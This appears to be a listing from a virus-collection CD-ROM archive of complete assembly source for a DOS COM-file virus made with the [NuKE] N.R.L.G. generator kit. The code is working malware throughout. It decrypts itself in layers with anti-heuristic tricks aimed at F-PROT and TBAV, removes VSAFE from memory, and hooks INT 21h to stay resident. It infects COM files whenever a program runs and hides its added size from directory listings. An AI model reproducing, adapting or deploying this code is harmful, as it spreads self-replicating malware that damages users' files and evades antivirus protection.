home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / B.ZIP / BUG1039B.ASM < prev    next >
Assembly Source File  |  1995-08-09  |  22KB  |  445 lines

  1. ;┌────────────────────────────────────────────────────────┐
  2. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  3. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  4. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  5. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  6. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  7. ;└────────────────────────────────────────────────────────┘
  8.  
  9. .286
  10. code    segment
  11. assume cs:code,ds:code
  12. org  100h
  13.  
  14. start:  CALL NEXT 
  15.  
  16. NEXT:  
  17.        mov di,sp             ;take the stack pointer location 
  18.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  19.        sub bp,offset next    ;subtract the large code off this code 
  20.                              ;
  21. ;*******************************************************************
  22. ;                      #1 DECRYPT ROUTINE                               
  23. ;*******************************************************************
  24.  
  25. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  26. je crypt2                    ;yes! not decrypt              
  27. ;----------------------------------------------------------                                          
  28. mov cx,offset fin            ;cx = large of virus               
  29. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  30. mov dx,1                     ;dx = value for decrypt          
  31. ;----------------------------------------------------------                                                   
  32. deci:                        ;deci = fuck label!                                    
  33. ;----------------------------------------------------------
  34.  
  35.  inc word ptr [di]
  36. add word ptr [di],08c7h
  37. sub byte ptr [di],0c6h
  38. add word ptr [di],0e613h
  39. inc word ptr [di]
  40. sub word ptr [di],05511h
  41. not byte ptr [di] 
  42. xor word ptr [di],0ef35h
  43. sub word ptr [di],03e9bh
  44. inc word ptr [di]
  45. add byte ptr [di],083h
  46.  inc di
  47. inc di
  48. ;----------------------------------------------------------                                                
  49. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  50. mov ah,4ch
  51. int 21h
  52. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  53. ;-----------------------------------------------------------                               
  54. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  55. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  56. ;----------------------------------------------------------                                   
  57. loop deci                    ;repeat please!               
  58.                              ;           
  59. ;*****************************************************************
  60. ;                   #2 DECRYPT ROUTINE                                                    
  61. ;*****************************************************************
  62.                               ;    
  63. crypt:                        ;fuck label!                  
  64.                               ;                
  65. mov cx,offset fin             ;cx = large of virus                 
  66. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  67. ;---------------------------------------------------------------                                              
  68. deci2:                        ;              
  69. xor byte ptr cs:[di],1        ;decrytion rutine          
  70. inc di                        ;very simple...            
  71. loop deci2                    ;           
  72. ;---------------------------------------------------------------
  73. crypt2:                       ;fuck label!          
  74.                               ;                  
  75. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  76. INT 21H                       ;for chek "I'm is residet?"   
  77. CMP Bh,0CAH                   ;is equal to CACA?
  78. JE PUM2                       ;yes! jump to runnig program
  79. call action
  80. ;*****************************************************************
  81. ; NRLG FUNCTIONS  (SELECTABLE)
  82. ;*****************************************************************
  83.  
  84.  call ANTI_V
  85. ;****************************************************************
  86. ;               PROCESS TO REMAIN RESIDENT                                                                  
  87. ;****************************************************************   
  88.  
  89. mov   ax,3521h                  
  90. int   21h                        ;store the int 21 vectors 
  91. mov   word ptr [bp+int21],bx     ;in cs:int21
  92. mov   word ptr [bp+int21+2],es   ;
  93. ;---------------------------------------------------------------
  94. push cs                          ; 
  95. pop ax                           ;ax = my actual segment                             
  96. dec ax                           ;dec my segment for look my MCB
  97. mov es,ax                        ;
  98. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  99. ;---------------------------------------------------------------
  100. push cs                          ;   
  101. pop es                           ;   
  102. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  103. sub bx,17 + offset fin           ;and 100H for the PSP total
  104. mov ah,4ah                       ;used memory
  105. int 21h                          ;put the new value to MCB
  106. ;---------------------------------------------------------------
  107. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  108. mov ah,48h                      ;                              
  109. int 21h                         ;request the memory to fuck DOS!                                                 
  110. ;---------------------------------------------------------------
  111. dec ax                          ;ax=new segment 
  112. mov es,ax                       ;ax-1= new segment MCB 
  113. mov byte ptr es:[1],8           ;put '8' in the segment
  114. ;--------------------------------------------------------------                                
  115. inc ax                          ; 
  116. mov es,ax                       ;es = new segment
  117. lea si,[bp + offset start]      ;si = start of virus 
  118. mov di,100h                     ;di = 100H (psp position) 
  119. mov cx,offset fin - start       ;cx = lag of virus
  120. push cs                         ;
  121. pop ds                          ;ds = cs
  122. cld                             ;mov the code
  123. rep movsb                       ;ds:si >> es:di
  124. ;--------------------------------------------------------------
  125. mov dx,offset virus             ;dx = new int21 handler
  126. mov ax,2521h                    ;
  127. push es                         ; 
  128. pop ds                          ; 
  129. int 21h                         ;set the vectors 
  130. ;-------------------------------------------------------------
  131. pum2:                               ;  
  132.                                     ; 
  133. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  134. mov byte ptr cs:[100h],ah           ;first bytes  
  135. mov ax,word ptr [cs:bp + real + 1]  ;
  136. mov word ptr cs:[101h],ax           ;
  137. ;-------------------------------------------------------------
  138. mov ax,100h                         ;
  139. jmp ax                              ;jmp to execute
  140.                                     ;
  141. ;*****************************************************************
  142. ;*             HANDLER FOR THE INT 21H                                       
  143. ;*****************************************************************
  144.                           ;          
  145. VIRUS:                    ;  
  146.                           ;     
  147. cmp ah,4bh                ;is a 4b function? 
  148. je REPRODUCCION           ;yes! jump to reproduce !
  149. cmp ah,11h
  150. je dir
  151. cmp ah,12h
  152. je dir
  153. dirsal:
  154. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  155. jne a3                    ;no! jump to a3
  156. mov bh,0cah               ;yes! put ca in bh
  157. a3:                       ;
  158. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  159. ret                       ;    
  160. make db '[NuKE] N.R.L.G. AZRAEL'
  161. dir:
  162. jmp dir_s
  163. ;-------------------------------------------------------------
  164. REPRODUCCION:              ;       
  165.                            ;
  166. pushf                      ;put the register
  167. pusha                      ;in the stack
  168. push si                    ;
  169. push di                    ;
  170. push bp                    ;
  171. push es                    ;
  172. push ds                    ;
  173. ;-------------------------------------------------------------
  174. push cs                    ;  
  175. pop ds                     ;  
  176. mov ax,3524H               ;get the dos error control                      
  177. int 21h                    ;interupt                        
  178. mov word ptr error,es      ;and put in cs:error                      
  179. mov word ptr error+2,bx    ;            
  180. mov ax,2524H               ;change the dos error control                    
  181. mov dx,offset all          ;for my "trap mask"                      
  182. int 21h                    ;         
  183. ;-------------------------------------------------------------
  184. pop ds                     ;
  185. pop es                     ;restore the registers
  186. pop bp                     ;
  187. pop di                     ;
  188. pop si                     ;
  189. popa                       ;
  190. popf                       ;
  191. ;-------------------------------------------------------------
  192. pushf                      ;put the registers
  193. pusha                      ;     
  194. push si                    ;HEY! AZRAEL IS CRAZY?
  195. push di                    ;PUSH, POP, PUSH, POP
  196. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  197. push es                    ;PURIFY THIS SHIT!
  198. push ds                    ;
  199. ;-------------------------------------------------------------
  200. mov ax,4300h                 ;       
  201. int 21h                      ;get the file     
  202. mov word ptr cs:[attrib],cx  ;atributes   
  203. ;-------------------------------------------------------------
  204. mov ax,4301h                 ;le saco los atributos al        
  205. xor cx,cx                    ;file 
  206. int 21h                      ;
  207. ;-------------------------------------------------------------  
  208. mov ax,3d02h                 ;open the file 
  209. int 21h                      ;for read/write
  210. mov bx,ax                    ;bx=handle
  211. ;-------------------------------------------------------------
  212. mov ax,5700h                ;     
  213. int 21h                     ;get the file date  
  214. mov word ptr cs:[hora],cx   ;put the hour    
  215. mov word ptr cs:[dia],dx    ;put the day    
  216. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  217. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  218. jne seguir                  ;yes! the file is infected!     
  219. jmp cerrar                  ;
  220. ;------------------------------------------------------------
  221. seguir:                     ;     
  222. mov ax,4202h                ;move the pointer to end
  223. call movedor                ;of the file
  224. ;------------------------------------------------------------
  225. push cs                     ;   
  226. pop ds                      ; 
  227. sub ax,3                    ;calculate the 
  228. mov word ptr [cs:largo],ax  ;jmp long
  229. ;-------------------------------------------------------------
  230. mov ax,04200h               ;move the pointer to  
  231. call movedor                ;start of file
  232. ;----------------------------------------------------------                                          
  233. push cs                     ;   
  234. pop ds                      ;read the 3 first bytes  
  235. mov ah,3fh                  ;                           
  236. mov cx,3                    ;
  237. lea dx,[cs:real]            ;put the bytes in cs:[real]
  238. int 21h                     ;
  239. ;----------------------------------------------------------                                          
  240. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  241. jne er1                         ;yes! is a EXE... fuckkk!
  242. ;----------------------------------------------------------
  243. jmp cerrar
  244. er1:
  245. ;----------------------------------------------------------                                          
  246. mov ax,4200h      ;move the pointer                               
  247. call movedor      ;to start fo file
  248. ;----------------------------------------------------------                                          
  249. push cs           ;       
  250. pop ds            ; 
  251. mov ah,40h        ;  
  252. mov cx,1          ;write the JMP
  253. lea dx,[cs:jump]  ;instruccion in the
  254. int 21h           ;fist byte of the file
  255. ;----------------------------------------------------------                                          
  256. mov ah,40h         ;write the value of jmp
  257. mov cx,2           ;in the file 
  258. lea dx,[cs:largo]  ; 
  259. int 21h            ;
  260. ;----------------------------------------------------------                                          
  261. mov ax,04202h      ;move the pointer to 
  262. call movedor       ;end of file
  263. ;----------------------------------------------------------                                          
  264. push cs                     ;        
  265. pop ds                      ;move the code  
  266. push cs                     ;of my virus      
  267. pop es                      ;to cs:end+50     
  268. cld                         ;for encrypt          
  269. mov si,100h                 ;    
  270. mov di,offset fin + 50      ;      
  271. mov cx,offset fin - 100h    ;        
  272. rep movsb                   ;      
  273. ;----------------------------------------------------------                                          
  274. mov cx,offset fin           
  275. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  276. enc:                              ;           
  277. xor byte ptr cs:[di],1            ;encrypt the virus              
  278. inc di                            ;code                   
  279. loop enc                          ;              
  280. ;---------------------------------------------------------
  281. mov cx,offset fin           
  282. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  283. mov dx,1
  284. enc2:                              ;           
  285.  
  286.  sub byte ptr [di],083h
  287. dec word ptr [di]
  288. add word ptr [di],03e9bh
  289. xor word ptr [di],0ef35h
  290. not byte ptr [di]
  291. add word ptr [di],05511h
  292. dec word ptr [di]
  293. sub word ptr [di],0e613h
  294. add byte ptr [di],0c6h
  295. sub word ptr [di],08c7h
  296. dec word ptr [di]
  297.  inc di
  298. inc di                             ;the virus code                  
  299. loop enc2                          ;              
  300. ;--------------------------------------------
  301. mov ah,40h                       ;  
  302. mov cx,offset fin - offset start ;copy the virus              
  303. mov dx,offset fin + 50           ;to end of file
  304. int 21h                          ;
  305. ;----------------------------------------------------------                                          
  306. cerrar:                          ;
  307.                                  ;restore the       
  308. mov ax,5701h                     ;date and time    
  309. mov cx,word ptr cs:[hora]        ;file   
  310. mov dx,word ptr cs:[dia]         ;     
  311. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  312. int 21h                          ; 
  313. ;----------------------------------------------------------                                          
  314. mov ah,3eh                       ; 
  315. int 21h                          ;close the file
  316. ;----------------------------------------------------------                                          
  317. pop ds                           ;
  318. pop es                           ;restore the 
  319. pop bp                           ;registers
  320. pop di                           ; 
  321. pop si                           ;
  322. popa                             ;
  323. popf                             ;
  324. ;----------------------------------------------------------                                          
  325. pusha                           ;   
  326.                                 ;                                                             
  327. mov ax,4301h                    ;restores the atributes 
  328. mov cx,word ptr cs:[attrib]     ;of the file  
  329. int 21h                         ;   
  330.                                 ;
  331. popa                            ; 
  332. ;----------------------------------------------------------                                          
  333. pushf                           ;                           
  334. pusha                           ; 8-(  = f-prot                       
  335. push si                         ;                       
  336. push di                         ; 8-(  = tbav   
  337. push bp                         ;                       
  338. push es                         ; 8-)  = I'm                        
  339. push ds                         ;                              
  340. ;----------------------------------------------------------                                          
  341. mov ax,2524H                    ;                         
  342. lea bx,error                    ;restore the                         
  343. mov ds,bx                       ;errors handler      
  344. lea bx,error+2                  ;                         
  345. int 21h                         ;                       
  346. ;----------------------------------------------------------                                          
  347. pop ds                          ;
  348. pop es                          ;
  349. pop bp                          ;restore the 
  350. pop di                          ;resgisters
  351. pop si                          ;
  352. popa                            ;
  353. popf                            ;
  354. ;----------------------------------------------------------                                          
  355. JMP A3                          ;jmp to orig. INT 21
  356.                                 ;
  357. ;**********************************************************
  358. ;           SUBRUTINES AREA
  359. ;**********************************************************
  360.                                 ;
  361. movedor:                        ;   
  362.                                 ; 
  363. xor cx,cx                       ;use to move file pointer         
  364. xor dx,dx                       ;       
  365. int 21h                         ;        
  366. ret                             ;        
  367. ;----------------------------------------------------------                                          
  368. all:                            ;  
  369.                                 ; 
  370. XOR AL,AL                       ;use to set 
  371. iret                            ;error flag
  372.  
  373. ;***********************************************************
  374. ;         DATA AREA
  375. ;***********************************************************
  376. largo  dw  ?
  377. jump   db  0e9h
  378. real   db  0cdh,20h,0
  379. hora   dw  ?
  380. dia    dw  ?
  381. attrib dw  ?
  382. int21  dd  ?
  383. error  dd  ?
  384.  
  385.  ;------------------------
  386. action:                 ;Nothing Action!    
  387. NOP                     ;only replicate  
  388. ret                     ;Return to call 
  389. ;------------------------
  390.  
  391.  ;---------------------------------
  392. ANTI_V:                          ; 
  393. MOV AX,0FA01H                    ;REMOVE VSAFE FROM MEMORY        
  394. MOV DX,5945H                     ; 
  395. INT 21H                          ;           
  396. ret                              ;
  397. ;---------------------------------
  398.  
  399.  ;*****************************************************
  400. dir_s:                                                               
  401.              pushf                                                         
  402.              push    cs                                                    
  403.              call    a3                      ;Get file Stats                       
  404.              test    al,al                   ;Good FCB?                            
  405.              jnz     no_good                 ;nope                                 
  406.              push    ax                                                 
  407.              push    bx                                                    
  408.              push    es                                                    
  409.              mov     ah,51h                  ;Is this Undocmented? huh...          
  410.              int     21h                                                   
  411.              mov     es,bx                                                 
  412.              cmp     bx,es:[16h]                                           
  413.              jnz     not_infected                        
  414.              mov     bx,dx                                                 
  415.              mov     al,[bx]                                               
  416.              push    ax                                                    
  417.              mov     ah,2fh                   ;Get file DTA                         
  418.              int     21h                                                   
  419.              pop     ax                                                    
  420.              inc     al                                                    
  421.              jnz     fcb_okay                                              
  422.              add     bx,7h                                                 
  423. fcb_okay:    mov     ax,es:[bx+17h]                                   
  424.              and     ax,1fh                   ;UnMask Seconds Field                 
  425.              xor     al,byte ptr cs:fechad                                      
  426.              jnz     not_infected                                            
  427.              and     byte ptr es:[bx+17h],0e0h                            
  428.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  429.              sbb     es:[bx+1fh],ax                                        
  430. not_infected:pop     es                                                    
  431.              pop     bx                                                    
  432.              pop     ax                                                    
  433. no_good:     iret                                                          
  434. ;********************************************************************
  435. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  436. ;*********************************************************************
  437.  
  438.  action_dia Db 020H ;day for the action
  439. action_mes Db 0dH ;month for the action
  440. FECHA DW 01eH ;Secon for mark
  441. FECHAd Db 01eH ;Secon for mark dir st
  442. fin:
  443. code ends
  444. end start
  445.